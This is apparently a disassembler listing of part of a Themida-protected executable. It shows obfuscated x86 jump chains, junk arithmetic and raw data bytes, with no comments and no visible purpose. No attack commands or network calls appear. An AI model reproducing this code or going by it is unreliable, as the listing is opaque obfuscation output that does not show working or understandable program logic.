		dd 0FFFFCDF3h, 505DC380h, 6AB25253h, 337BE9h, 64BDBD00h
		dd 0E6E907E0h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5539B7:				; CODE XREF: Themida_:005552F9j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_550793
; ---------------------------------------------------------------------------
		db 28h,	0F8h, 2Ch
		dd 241C8B94h, 81E18951h, 4C1h, 5A90E900h, 0E8280000h, 9D685966h
		dd 89000051h, 0B050240Ch, 0D1E95050h, 81000049h, 0F74D99C3h
		dd 0F47DE96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5539FA:				; CODE XREF: Themida_:0055A3F1j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5557F8
; ---------------------------------------------------------------------------
		dd 0BD55E089h, 28863D11h, 0E581454Dh, 43094112h, 1EE1E581h
		dd 0C5810B65h, 51572996h, 3BE0B951h, 0C18102EFh, 48AA4E4Dh
		dd 8104E9C1h, 0A76D0FE1h, 2F0AE94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553A3E:				; CODE XREF: Themida_:005583DDj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5514A8
; ---------------------------------------------------------------------------
		dd 0FFC0B60Fh, 83E98734h, 8100000Fh, 0FFFFFFC5h, 14F755FFh
		dd 0BE565D24h, 1DF33365h, 0FFFC8BE9h, 6866FFh, 351CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553A76:				; CODE XREF: Themida_:00559E3Aj
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_553F4D
; ---------------------------------------------------------------------------


loc_553A84:				; CODE XREF: Themida_:005568F3j
		add	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		jmp	loc_5587D7
; ---------------------------------------------------------------------------


loc_553A9F:				; CODE XREF: Themida_:00552229j
		push	ecx
		jmp	loc_55788D
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFCCE6E9h, 0BA525FFFh, 3DB4556Dh, 515AD301h, 0C1815954h
		dd 4, 77EE9h, 81D1F700h, 0F91EB4E9h, 0A1E1810Ah, 813CBD79h
		dd 5EEF64C1h, 59CB01C7h, 2474FF53h, 5CB0E904h, 0D9F70000h
		dd 0D7F3E949h
		db 2 dup(0FFh)
word_553AEE	dw 8B66h		; DATA XREF: Themida_:005506E8o
		dd 89562404h, 0DC70E9E6h, 0E289FFFFh, 4C281h, 0C2830000h
		dd 24148704h, 8C10E95Ch, 815A0000h, 0DF4462EEh,	0E67DE953h
		dd 0E3C0FFFFh, 80CBFE05h, 0E380C5E3h, 0D3C380C9h, 1C8BD808h
		dd 4C48124h, 53000000h,	526683B7h, 0D728EDB2h, 0DFF65A66h
		dd 8E1C780h, 2434FFF8h,	0A3E9505Bh, 80000074h, 0C180FDE9h
		dd 59CB0099h, 0E9CEB050h, 32C1h, 6BE9C529h, 81FFFFD6h
		dd 7078BBC3h, 243C8B08h, 815B5453h, 4C3h, 2932E900h, 0C5890000h
		dd 4D66E958h, 665C0000h, 5024048Bh, 405E089h, 2D000000h
		dd 4, 0E9240487h, 50DEh
; ---------------------------------------------------------------------------


loc_553BA0:				; CODE XREF: Themida_:0055A699j
		mov	edi, 38h
		mov	ebp, edi
		pop	edi
		mov	edx, ebp
		jmp	loc_556773
; ---------------------------------------------------------------------------
aYBsbn		db '¾´YºBéB',0
		dd 4EC8100h, 89000000h,	0B8502424h, 4, 4244401h, 3BC6E9h
		dd 0C3015A00h, 1048E9h,	0CBB5E900h, 1CF6FFFFh, 0EAC05A24h
		dd 3DEA8007h, 0F65AD788h, 8E7C0D7h, 3CC780h, 3E28E9FEh
		dd 87BF0000h, 812E1F53h, 0DE003CEFh, 81D7F746h,	0C941EAEFh
		dd 3C68E93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553C12:				; CODE XREF: Themida_:0055A358j
		add	ecx, edx
		jmp	loc_559F26
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 9C5166C8h, 0FFE0F0E9h, 243C8BFFh, 54E95455h,	57000003h
		dd 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFFFCB4Fh, 0A1BFC181h
		dd 0E9562BA9h, 4EF6h, 42474FFh,	83241C8Bh, 48F04C4h, 0DFB9E924h
		db 2 dup(0FFh)
word_553C62	dw 4668h		; DATA XREF: Themida_:005506C0o
		dd 8900003Fh, 0E953240Ch, 0FFFFD69Ch
; ---------------------------------------------------------------------------


loc_553C70:				; CODE XREF: Themida_:0055B3EEj
		add	esp, 4
		not	esi
		add	esi, 67CD5AE4h
		xor	eax, esi
		pop	esi
		push	edx
		push	edi
		push	edx
		push	7D9369D8h
		pop	edx
		push	esi
		push	ebp
		mov	ebp, 66C30077h
		mov	esi, ebp
		pop	ebp
		xor	edx, esi
		pop	esi
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		inc	edi
		or	edi, 76166F6Fh
		jmp	loc_557DA4
; ---------------------------------------------------------------------------
		db 83h
		dd 8B042404h, 8AE9240Ch
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553CB7:				; CODE XREF: Themida_:00550A88j
		add	edx, ebx
		add	edx, 50A1E0Fh
		pop	ebx
		jmp	loc_5520AD
; ---------------------------------------------------------------------------
byte_553CC5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00550534o
		dd 1B09E9h, 4C48300h, 0B60FC330h, 546FE9C0h, 48B0000h
		dd 52FFE924h, 0F8000000h, 20FE9h
		db 0
; ---------------------------------------------------------------------------


loc_553CE9:				; CODE XREF: Themida_:00558D22j
		mov	[edx], al
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_550793
; ---------------------------------------------------------------------------


loc_553CFA:				; CODE XREF: Themida_:0055C01Dj
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5A094024h
		or	ecx, 22B82793h
		xor	ecx, 81D17BDh
		shl	ecx, 4
		neg	ecx
		neg	ecx
		add	ecx, 0D5B8FF64h
		jmp	loc_55CAF2
; ---------------------------------------------------------------------------


loc_553D2B:				; CODE XREF: Themida_:0055ADE6j
		add	ebp, ebx
		jmp	loc_55BA91
; ---------------------------------------------------------------------------
		dw 5A50h
		dd 4AC18158h, 1309D30h,	4AE981D1h, 5A309D30h, 0E9240C33h
		dd 2D1Eh
; ---------------------------------------------------------------------------


loc_553D4C:				; CODE XREF: Themida_:00557A0Cj
		mov	ecx, [esp]
		add	esp, 4
		add	eax, ebx
		jmp	loc_55651B
; ---------------------------------------------------------------------------


loc_553D5C:				; CODE XREF: Themida_:0055CB62j
		sub	edi, 18A0166Ch
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, edi
		mov	ecx, [eax]
		mov	eax, [esp]
		jmp	loc_5584AD
; ---------------------------------------------------------------------------


loc_553D79:				; CODE XREF: Themida_:0055C988j
		or	ebx, edi
		pop	edi
		jmp	loc_55BF06
; ---------------------------------------------------------------------------
aZsbi		db 'ZéBI',0
		db 0
byte_553D87	db 64h			; DATA XREF: Themida_:005505ACo
		dd 4E9028Fh, 54FFFFCAh,	4C3815Bh, 51000000h, 4B9h, 59CB0100h
		dd 0FFDDD8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553DA5:				; CODE XREF: Themida_:00559FA1j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_553412
; ---------------------------------------------------------------------------
		db 0FFh
a4Sve		db '4$é¢e',0
		dw 5300h
		dd 2BBh, 5BDD0100h, 0F5968h, 242C8900h,	42474FFh, 81242C8Bh
		dd 4C4h, 24048F00h, 0FFFDA5E9h,	58C588FFh, 80DDF65Ah, 89E973C5h
		dd 52000019h, 0F868E289h, 89000052h, 3CBD242Ch,	811D495Eh
		dd 191D7FE5h, 0F7DDF77Fh, 0C0ED81D5h, 0C10A4413h, 0ED8103EDh
		dd 258A10Bh, 835DEA01h,	148704C2h, 0E9DAE924h, 1C8BFFFFh
		dd 493CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553E2E:				; CODE XREF: Themida_:0055666Ej
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_555994
; ---------------------------------------------------------------------------
		db 1, 0C6h, 58h
		dd 5E08950h, 4,	42Dh, 74FF5000h, 8F580424h, 895C2404h
		dd 0E0BB241Ch, 8105A979h, 0A979DEEBh, 47EE8105h, 158763Fh
		dd 47C681DEh, 8B58763Fh, 0C483241Ch, 24348704h,	24D3665Ch
		dd 10E99C24h, 0BFFFFFC9h, 49D66800h, 153FC781h,	0E95631CAh
		dd 5A02h, 0FFFFC281h, 0CA87FFFFh, 0E9CA8749h, 4FC5h
; ---------------------------------------------------------------------------


loc_553EA4:				; CODE XREF: Themida_:00551851j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, ebx
		jmp	loc_55304E
; ---------------------------------------------------------------------------
aSma		db ']éma',0
		align 4
		dd 5A283ABAh, 0F5C6817Eh, 2952317Eh, 0F5EE81D6h, 5A52317Eh
		dd 2046E9h, 8EBC100h, 0EB83DBF7h, 5FC381FFh, 296D7C92h
		dd 0F1015BD9h, 7DAEC181h, 0F3E96CEDh, 0FF000032h, 0E9042474h
		dd 0FFFFFA17h, 88B65266h, 5A66F000h, 89C6E9h, 8EFC100h
		dd 5491C781h, 0E9501558h, 0FFFFCEF8h, 0E924048Bh, 4046h
		dd 0C9F68059h, 8DAE9h
		db 0
; ---------------------------------------------------------------------------


loc_553F25:				; CODE XREF: Themida_:0055AF3Aj
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_55602D
; ---------------------------------------------------------------------------
		db 5Bh,	52h, 51h
		dd 35D0FB9h, 0B8D6BA5Dh, 0C8E9914Fh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553F43:				; CODE XREF: Themida_:00550BB6j
		mov	eax, 3B81673Dh
		jmp	loc_550EAA
; ---------------------------------------------------------------------------


loc_553F4D:				; CODE XREF: Themida_:00553A7Fj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5523E1
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FE68h, 0E6D2E900h, 348BFFFFh, 0EA9AE924h, 348BFFFFh
		dd 1F3DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553F76:				; CODE XREF: Themida_:00558033j
		add	edi, 0D79D5386h
		mov	esi, edi
		jmp	loc_555E8B
; ---------------------------------------------------------------------------
aHa_0		db ']hí(',0
		dd 0E980E900h, 159FFFFh, 8104246Ch, 67042444h, 8B736233h
		dd 40E9242Ch
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553FA3:				; CODE XREF: Themida_:00553390j
		mov	esi, 7BCD6BB4h
		mov	ecx, 7BCD6BB5h
		sub	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_558460
; ---------------------------------------------------------------------------
		dd 24048966h, 0FFC7D2E9h
		db 0FFh
byte_553FC1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005505F8o
aSts		db '$STéì>',0
		align 4
		dd 12FAE951h, 48F0000h,	24248B24h, 57240C8Bh, 0FC43E954h
		dd 0E953FFFFh, 4AD7h, 835DEB01h, 0FF5302C3h, 8B042474h
		dd 0C481241Ch, 4, 0E924048Fh, 0D22h, 68240489h,	3AFC0D69h
		dd 5524048Bh, 0FFF7A0E9h, 1505BBFFh, 0EBC1247Ah, 0E9555206h
		dd 0FFFFF989h, 815BDA01h, 4EAh,	74FF5200h, 8F5A0424h, 82E92404h
		dd 35FFFFCCh, 4835F445h, 0E958C629h, 46D9h, 4EB81h, 0FE90000h
		dd 89FFFFD1h, 4EE9242Ch, 8B00007Fh, 0C4832414h,	0C72DE904h
		dd 2C89FFFFh, 56E58924h, 4BEh, 0BB535000h, 243B7A35h, 5CED88B8h
		dd 5BD80106h, 0E958C529h, 0FFFFDC1Dh, 1876C181h, 0C80110A5h
		dd 81240C8Bh, 4C4h, 7E02E900h, 34810000h, 84682724h, 24148B28h
		dd 8104C483h, 846827F2h, 587EE928h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5540B6:				; CODE XREF: Themida_:005563D9j
		shl	edi, 5
		xor	edi, 75F030DCh
		jmp	loc_55279F
; ---------------------------------------------------------------------------


loc_5540C4:				; CODE XREF: Themida_:005580F7j
		sub	[esp], ecx
		pop	ecx
		shr	ecx, 4
		sub	ecx, 0C72EEECDh
		not	ecx
		xor	ecx, 33BB46F4h
		sub	ecx, 844DA684h
		push	esi
		mov	esi, 3F1B2FC8h
		jmp	loc_55AD2A
; ---------------------------------------------------------------------------
aTRzS6m		db 'Áâ',7,'R‡<$é6m',0
		align 2
		dw 0C481h
		dd 4, 412BE9h, 17EF8100h, 8187F330h, 9C1BA5C5h,	81FD290Eh
		dd 9C1BA5EDh, 0E9575F0Eh, 0D23h, 0E905EBC0h, 0FFFFD477h
		dd 0FFC66AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554129:				; CODE XREF: Themida_:00551037j
		mov	esp, [esp]
		div	cx
		push	249Ch
		mov	[esp], edi
		push	4D5Fh
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_55AD51
; ---------------------------------------------------------------------------


loc_55414E:				; CODE XREF: Themida_:00554642j
		mov	edx, 730A00D7h
		mov	edi, 8CF61F29h
		add	edi, edx
		jmp	loc_557E2D
; ---------------------------------------------------------------------------


loc_55415F:				; CODE XREF: Themida_:005576B8j
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 7AFD35B5h
		neg	eax
		push	edi
		jmp	loc_55BEFC
; ---------------------------------------------------------------------------
		dd 6F93EB81h, 0EB013BB4h, 6F93C381h, 875D3BB4h,	248B241Ch
		dd 0C609E924h
		db 2 dup(0FFh)
word_55418A	dw 8B66h		; DATA XREF: Themida_:00550698o
		dd 0EC81240Ch, 4, 68241C89h, 86h, 8904EC83h, 4812424h
		dd 424h, 24048F00h, 4240481h, 8B000000h, 0DBE9241Ch, 80000072h
		dd 0DA28F0EAh, 0E9F0C280h, 4B5Fh, 348BF529h, 4C48124h
		dd 1000000h, 1C875DEBh,	24248B24h, 9C240408h, 0FFC5AEE9h
		dd 4EA81FFh, 33000000h,	14312414h, 3610E924h, 4BF0000h
		dd 89000000h, 6DE95FFDh, 0E9FFFFFFh, 0FFFFC58Bh
; ---------------------------------------------------------------------------


loc_554208:				; CODE XREF: Themida_:005530D2j
		add	esp, 4
		add	esp, 4
		add	bl, 0ADh
		jmp	loc_552053
; ---------------------------------------------------------------------------
aBYs7sV		db 'êÐY‘7é¾V',0
		db 0
; ---------------------------------------------------------------------------


loc_554221:				; CODE XREF: Themida_:0055C929j
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5583D5
; ---------------------------------------------------------------------------
		db 81h
		dd 4E9h, 240C8700h, 8924248Bh, 88BF243Ch, 0E915FE47h, 0D47h
		dd 0E959CA30h, 3CE0h, 48E95751h, 6600007Bh, 51240C8Bh
		dd 6853E189h, 4, 0FFD9015Bh, 815B2434h,	4C4h, 2B85000h
		dd 81000000h, 0F447C7E9h, 0B1C18151h, 1026366h,	0FA3E9C1h
		dd 68660000h, 89661494h, 8EE9240Ch, 6600002Eh, 8BF10058h
		dd 0C4812414h, 4, 0FFFC57E9h, 9DEB81FFh, 0F73D9346h, 4EBC1D3h
		dd 28B5F381h, 0C3813AF3h, 0C256B2FCh, 7BA3C181h, 0D9012260h
		dd 7BA3E981h, 685B2260h, 10BBh,	0E9243489h, 0FFFFE8D8h
		dd 0D1677768h, 0EAC15A63h, 0E74AE903h, 8957FFFFh, 4C781E7h
		dd 83000000h, 3C8704C7h, 0EC835C24h, 242C8904h,	0CB295D59h
		dd 592434FFh, 372DE9h, 2434FF00h, 5584E9h, 0E92DB500h
		dd 0FFFFE655h, 6B8AEB81h, 815A3560h, 6E17ACEBh,	64C381FFh
		dd 1597D66h, 64EB81C3h,	81597D66h, 4ECh, 0F5F6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554356:				; CODE XREF: Themida_:00556D4Dj
		pop	esp
		jmp	loc_558CC8
; ---------------------------------------------------------------------------
		dd 0C181D9F7h, 0CDB7E3Dh, 6C8EC181h, 0F1811ED3h, 0ACDDEC06h
		dd 8159CB29h, 453D2EEDh, 0E9DD0138h, 0FFFFDFF4h, 4C5815Dh
		dd 83000000h, 2C8704C5h, 42D5C24h, 87000000h, 895C2404h
		dd 0F4E9240Ch, 81FFFFC3h, 5872F7E6h, 5EBF5746h,	810F371Ch
		dd 0D72A77F7h, 71A5E950h, 515E0000h, 7D243481h,	5E09CD69h
		dd 697DF681h, 0C15909CDh, 0EE8108E6h, 0B75B6AFEh, 5870C181h
		dd 0F1293425h, 5870E981h, 79E93425h, 5700007Dh,	0FD488ABFh
		dd 50C2813Dh, 8167ED51h, 0B816F6EAh, 81FA013Eh,	0B816F6C2h
		dd 0C693E93Eh, 0F801FFFFh, 55243C8Bh, 0FFE8F2E9h, 4EC81FFh
		dd 89000000h, 0DABA2414h, 0C16E960Dh, 486803EAh, 89000025h
		dd 0EC832434h, 242C8904h, 0CD1CE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554432:				; CODE XREF: Themida_:005527FBj
		xor	esi, 55496B98h
		dec	esi
		inc	esi
		push	edi
		mov	edi, 3DDE50C6h
		add	edi, 452C7189h
		sub	edi, 6EF93406h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55B598
; ---------------------------------------------------------------------------


loc_55445C:				; CODE XREF: Themida_:0055B274j
		push	esi
		mov	esi, 33893CFCh
		jmp	loc_55AE6B
; ---------------------------------------------------------------------------
		db 1
		dd 17B850C3h, 356E2043h, 2C241DAEh, 8B58C329h, 4DE92404h
		dd 81000007h, 0AC5C7CC6h, 0D4E9587Ch, 81FFFFD2h, 7918CCC3h
		dd 22B0E921h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554496:				; CODE XREF: Themida_:00558741j
		shr	edi, 1
		shl	edi, 6
		sub	edi, 30485E59h
		sub	edi, 1C4BB266h
		sub	edx, edi
		pop	edi
		dec	edx
		jmp	loc_557843
; ---------------------------------------------------------------------------
dword_5544B0	dd 6824048Bh, 75F5h, 68242C89h,	64F5h, 81242489h, 42404h
					; DATA XREF: Themida_:00550640o
		dd 0E95D0000h, 67E7h
dword_5544D0	dd 8B2434FFh, 0C481240Ch, 4, 0E9E08950h, 7392h,	0B9240C89h
					; DATA XREF: Themida_:005504C8o
		dd 51012834h, 21D8F181h, 0CB014DA5h, 83240C8Bh,	496804C4h
		dd 8900001Bh, 43E92414h
		db 0D7h, 2 dup(0FFh)
byte_554507	db 66h			; DATA XREF: Themida_:00550668o
		dd 5624048Bh, 0E9555E54h, 0FFFFF139h, 4BDh, 4DE4E900h
		dd 0E9C10000h, 0F7D1F706h, 86E981D9h, 291CD881h, 0EB2959CDh
		dd 0FFCCA5E9h, 24248BFFh, 4C481h, 0F1F70000h, 6B8168h
		dd 24148900h, 0A4E99C50h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55454F:				; CODE XREF: Themida_:0055A85Ej
		push	edx
		push	740Ah
		mov	[esp], ebp
		push	3F653FC1h
		mov	ebp, [esp]
		jmp	loc_55092A
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0F9E90000h, 5900001Bh, 53E18951h, 4BBh, 5BD90100h, 0FFD8A1E9h
		dd 0F7D2F7FFh, 11CA81DAh, 814CBA34h, 3F1A8CF2h,	55F281B1h
		dd 817D856Eh, 0F63D03EEh, 81D60107h, 0F63D03C6h, 0BB535A07h
		dd 2, 875BDE01h, 6AE92434h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5545B7:				; CODE XREF: Themida_:005516F6j
		and	ebx, 252309F4h
		not	ebx
		or	ebx, 407E2335h
		xor	ebx, 60F102FBh
		add	ebx, 40F10B00h
		sub	eax, ebx
		jmp	loc_55AF4C
; ---------------------------------------------------------------------------
		dd 5966C828h, 6602EC83h, 0B1240C89h, 28C404D6h,	0D16853C8h
		dd 0E9000056h, 5B20h, 5B2D6850h, 0E95818EBh, 57FCh, 3111C681h
		dd 68561EB2h, 66901DE9h, 0B7CE815Eh, 0E94C926Ah, 5373h
; ---------------------------------------------------------------------------


loc_554618:				; CODE XREF: Themida_:00554BC7j
		sub	ecx, 1B8968BCh
		add	ecx, esi
		add	ecx, 1B8968BCh
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	0D35h
		mov	[esp], edi
		push	edx
		jmp	loc_55414E
; ---------------------------------------------------------------------------
		db 81h
		dd 4EAh, 74FF5200h, 8F5A0424h, 895C2404h, 0B8E9242Ch, 5C000083h
		dd 0E9C83166h, 8F6h, 4CE9EAD1h,	0FFFFDCh, 5E14E9F0h, 0C2300000h
		dd 24048B66h, 2C481h, 7E2C0000h, 7E04D000h, 44C5685Ah
		dd 1C890000h, 8037B324h, 0EB8092C3h, 66E38601h,	0CC91E950h
		dd 5750FFFFh, 0D6B85056h, 0E979C60Ch, 4A61h
; ---------------------------------------------------------------------------


loc_5546B0:				; CODE XREF: Themida_:00553589j
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_553641
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 4
		dd 0FFE149E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5546C5:				; CODE XREF: Themida_:00557236j
		sub	[edi+24h], esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_559BDC
; ---------------------------------------------------------------------------


loc_5546EA:				; CODE XREF: Themida_:00558FC1j
		mov	[esp], ebp
		push	75D31584h
		jmp	loc_557F0D
; ---------------------------------------------------------------------------
		db 56h
		dd 0E11BCDBEh, 0B5BA5255h, 0C12C1407h, 0C28108EAh, 272F6216h
		dd 2577EA81h, 0EA816610h, 74446C0Bh, 2F52CA81h,	0EA8123FDh
		dd 216ACA82h, 555AD609h, 4817B5BDh, 8BEE3144h, 0C481242Ch
		dd 4, 286CB951h, 0CE311BBDh, 0FFF02AE9h, 48F59FFh, 8B665C24h
		dd 0EC812404h, 4, 0E9241C89h, 0EE6h, 12FEBA52h,	0EA814A1Ch
		dd 4A1C12FAh, 55B9E981h, 0D10159F6h, 55B9C181h,	0E95A59F6h
		dd 3EFh
; ---------------------------------------------------------------------------


loc_55477C:				; CODE XREF: Themida_:0055185Bj
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	2586h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		push	ebp
		mov	ebp, 70FB773Eh
		shl	ebp, 4
		not	ebp
		inc	ebp
		sub	ebp, 0EA07514h
		jmp	loc_55C7A9
; ---------------------------------------------------------------------------


loc_5547BE:				; CODE XREF: Themida_:00553298j
		push	567Ah
		mov	[esp], ebp
		mov	ebp, 75E97502h
		jmp	loc_557CF8
; ---------------------------------------------------------------------------
aF1F3F1Si	db 'f1<$f3<$f1<$é›"',0  ; DATA XREF: Themida_:0055052Co
		dd 0E9565E00h, 0FFFFF3C7h, 8BE80158h, 0C481242Ch, 4, 2DE0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5547F9:				; CODE XREF: Themida_:005549ACj
		pop	edx
		jmp	loc_552086
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0F3CE80C6h, 4BB9E9h,	88C68800h, 48E95AF5h, 0BB00001Ah
		dd 69A2354Ch, 5495E9h, 46B56800h, 0C890000h, 0F9D9E924h
		db 2 dup(0FFh)
word_55482A	dw 8B66h		; DATA XREF: Themida_:005504D4o
		dd 60E92424h, 0C0FFFFBFh, 0EA8006E2h, 6EAC001h,	0E977C280h
		dd 3D8Eh, 8B243C87h, 0AEE92424h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55484F:				; CODE XREF: Themida_:0055AD6Bj
		add	esp, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_550793
; ---------------------------------------------------------------------------


loc_554867:				; CODE XREF: Themida_:00554927j
		mov	eax, 47352A70h
		inc	eax
		jmp	loc_557731
; ---------------------------------------------------------------------------


loc_554872:				; CODE XREF: Themida_:0055C517j
		add	ecx, 4
		jmp	loc_55B24B
; ---------------------------------------------------------------------------
		db 1, 0F7h, 81h
		dd 987484C7h, 63E95E0Eh, 68FFFFD8h, 790Dh, 72C2E9h, 24148900h
		dd 0C0471BBAh, 0FFD0290Dh, 34FF2434h, 0C6BCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5548AA:				; CODE XREF: Themida_:0055232Fj
		push	44EDh
		mov	[esp], eax
		jmp	loc_55154F
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFFFFFBBh, 0E443E9FFh, 0C681FFFFh, 8F41833Ch, 39AFE9h
		dd 24048B00h, 0F604C483h, 5EADE9DBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5548DA:				; CODE XREF: Themida_:00557F1Ej
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp


loc_5548E1:				; CODE XREF: Themida_:00550FF3j
					; Themida_:00559821j
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		add	dword ptr [esp], 37D45B3Fh
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55709A
; ---------------------------------------------------------------------------
aSA		db '\éÃa',0
		align 2
		dw 505Ah
		dd 4055854h, 5000000h, 4, 31240433h, 0E1E92404h
		db 25h,	2 dup(0)
byte_554917	db 0FFh			; DATA XREF: Themida_:00550714o
		dd 48B2434h, 4C48124h
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_554867
; ---------------------------------------------------------------------------
		dd 2507E0C1h, 662736E8h, 103FF2Dh, 58C52900h, 0DCF6ED81h
		dd 0DBE9B57Fh, 68000076h, 4628h, 4DC5E9h, 242C8100h, 254F2BCCh
		dd 81240401h, 2BCC2404h, 0E1E9254Fh, 0F600007Fh, 0BEDAE9D2h
		dd 34FFFFFFh, 2434FF24h, 4C4835Ah, 4685E955h
		db 2 dup(0)
word_55497E	dw 1CF7h		; DATA XREF: Themida_:005506A4o
		dd 0CE99C24h, 8BFFFFBEh, 0C481240Ch, 4,	247BE9h, 0B4E95B00h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55499B:				; CODE XREF: Themida_:00559E75j
		sub	ebp, 6E861614h
		add	ebp, 127AA261h
		sub	edx, ebp
		pop	ebp
		or	eax, edx
		jmp	loc_5547F9
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 7Ch
		db 1Ch,	2 dup(0)
byte_5549B7	db 66h			; DATA XREF: Themida_:00550544o
		dd 83240C8Bh, 3C8904ECh, 3C8B5424h, 27E95124h, 0BE000034h
		dd 40D795Fh, 35242B05h,	4DF1E962h, 68520000h, 791B7C90h
		dd 2454015Ah, 34FF5A04h, 89565824h, 4B850E6h, 1000000h
		dd 0F2E0E9C6h, 895CFFFFh, 35BE2434h, 31EA7F7Dh,	0D6015EF2h
		dd 60BEE9h, 10416800h, 52587D21h, 6EA0BF57h, 0FA893F53h
		dd 4EAC15Fh, 0FFDE16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554A25:				; CODE XREF: Themida_:0055CA76j
		mov	edx, 4E60442Bh
		dec	edx
		push	esi
		mov	esi, 2D162D1Ah
		jmp	loc_55AA21
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 5C243487h, 0BE243489h, 2AE53122h,	0F703E6C1h, 83DE87DEh
		dd 148904ECh, 4245BA24h, 0DAF7282Ch, 0E2D1DAF7h, 848BEA81h
		dd 67E95058h, 1000006h,	0DD24E9D8h, 158FFFFh, 0E025E9E9h
		dd 525AFFFFh, 0C50E32BAh, 42D2F70Dh, 0E34B951h,	0AAE90DC5h
		dd 5C000048h, 0FFCF5DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554A95:				; CODE XREF: Themida_:0055B93Dj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_558746
; ---------------------------------------------------------------------------
byte_554AA7	db 66h			; DATA XREF: Themida_:00550664o
		dd 5724048Bh, 9568E789h, 89000033h, 4BD242Ch, 1000000h
		dd 0BFE95DEFh, 83000045h, 7FE904C4h
		db 44h,	2 dup(0)
byte_554ACB	db 0FFh			; DATA XREF: Themida_:00550658o
		dd 835A2434h, 2C8904ECh, 657DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554ADA:				; CODE XREF: Themida_:00556B7Dj
		push	19CBh
		mov	[esp], ebx
		push	78EAh
		mov	[esp], eax
		push	edi
		push	410A03FEh
		mov	edi, [esp]
		add	esp, 4
		and	edi, 6A1B62AEh
		jmp	loc_55633A
; ---------------------------------------------------------------------------


